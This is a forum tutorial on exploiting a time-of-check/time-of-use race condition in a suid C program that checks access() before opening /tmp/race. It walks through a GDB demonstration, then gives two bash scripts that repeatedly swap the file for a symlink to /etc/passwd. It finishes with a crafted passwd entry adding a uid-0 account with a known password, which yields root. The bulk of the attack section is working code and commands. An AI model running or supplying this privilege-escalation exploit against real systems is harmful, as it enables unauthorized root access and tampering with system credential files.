[img]http://img24.imageshack.us/img24/1800/5o9x.png[/img]
Today we will be discussing race conditions. It's a very simple method and you shouldn't have any problems understanding it. Race conditions, as their descriptive name states, are dangerous vulnerabilities which allow change or disruption in the order of events that the programmer intended. Two threads will be racing each other and the winner gets to influence the program. The race will happen between the main program and our malicious one which will attempt to redirect the output to /etc/passwd.
Our first example will be in GDB as it will be much easier to explain what exactly occurs. But first, let's create our vulnerable file.
PHP Code
<?php
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]){
FILE *file;
char input[60];
strncpy(input, argv[1], 50);
if (!access("/tmp/race", W_OK)) {
file= fopen("/tmp/race", "a+");
fprintf(file, "\n%s", input);
fclose(file);}
}
This is a simple program which is meant to be run with suid. It will first check to see if we have the permission to write to /tmp/race with the privileges of the current user. If we do, it will proceed by writing our argument to it. If, however, the output file was to be replaced during the execution after the program has checked for permissions, it will write to it regardless of the permissions for it. That's why we will replace it with a symlink to /etc/passwd. But let's take it one step at a time.
Compile it.
PHP Code
<?php
gcc -o dong dong.c
Allow me to explain first what we will do before we get on to doing it. We will open the file in GDB and set a breakpoint after the program has finished checking the permissions with access(). We will then, while the program is paused, remove /tmp/race which is our output file and replace it with a symlink to /etc/test. So basically, the program will check to see if we have access to the casual /tmp/race and when it sees we do, we will replace it with a symbolic link which will direct our input to /etc/test and write to it. You might have noticed that we're writing to /etc/test and not to the actual /etc/passwd but bear with me. Debugger would need to run as root for it to work properly. That's why we will be using /etc/test instead, for this example. Right now the only thing we're attempting is to replace and redirect the output during the execution.
Let's start. Open the file in GDB and run it with any argument.
PHP Code
<?php
gdb dong
run loldongs
![[Image: BH0zmB7.png]](https://i.imgur.com/BH0zmB7.png)
Now go ahead and check /tmp/race. We've successfully written to it. Now let's disassemble the program.
PHP Code
<?php
disas main
![[Image: 93P1KVs.png]](https://i.imgur.com/93P1KVs.png)
Let's set a breakpoint at fopen().
PHP Code
<?php
break *0x80485ca
Now re-run the program and it will hit the breakpoint.
PHP Code
<?php
run loldungs
Now let's remove the file and replace it with a symlink.
PHP Code
<?php
shell
cd /tmp
rm race
ln -s /etc/test race
exit
c
![[Image: 1SVUzYl.png]](https://i.imgur.com/1SVUzYl.png)
Then exit back to the debugger and continue the execution. We will have successfully written to /etc/test.
![[Image: 9e6tayP.png]](https://i.imgur.com/9e6tayP.png)
This, however, means almost nothing. We had the permissions to write to /etc/test from the beginning. We can't use the debugger in real case scenarios to exploit and write to files that we normally don't have the permission to. So we'll have to find another way to stop the execution after it checks for permissions... Or maybe... Run it a lot of times instead.
Instead of pausing the execution, we will be bruteforcing the correct timing. We'll have two bash scripts running simultaneously in order to hit the right moment. We are aiming to remove /tmp/race and replace it with a symlink to /etc/passwd exactly after the access() check takes place.
The first script will be in the same directory as the vulnerable file and it will be constantly checking if /etc/passwd has been changed by comparing it's old and new size. There are of course other ways to do this. If writing has been successful, it will stop and inform us of it.
PHP Code
<?php
#!/bin/bash
pens=$(stat -c%s /etc/passwd)
thin=$(stat -c%s /etc/passwd)
while [ "$pens" == "$thin" ]
do
thin=$(stat -c%s /etc/passwd)
./dong yayitwuurked
done
echo "Finished"
The second script will be in /tmp and it will be constantly removing the file race, creating it again and then replacing it with a symlink. This script, along with the other one will surely give us a hit, in time.
PHP Code
<?php
#!/bin/bash
while true
do
rm race
echo "" >>race
ln -s /etc/passwd race -f
done
![[Image: KqxeaaV.png]](https://i.imgur.com/KqxeaaV.png)
We have successfully written to /etc/passwd. It took about thirty seconds this time. Now let's change our argument to something acceptable by /etc/passwd.
![[Image: aPzQtrf.png]](https://i.imgur.com/aPzQtrf.png)
PHP Code
<?php
divine:2PYyGlrrmNx5.:0:0::/root:/bin/sh
It finished in approximately ten seconds. Now let's switch to our new account. Password is 3.
![[Image: njirAOl.png]](https://i.imgur.com/njirAOl.png)


![[Image: E1dCw.gif]](https://i.imgur.com/E1dCw.gif)

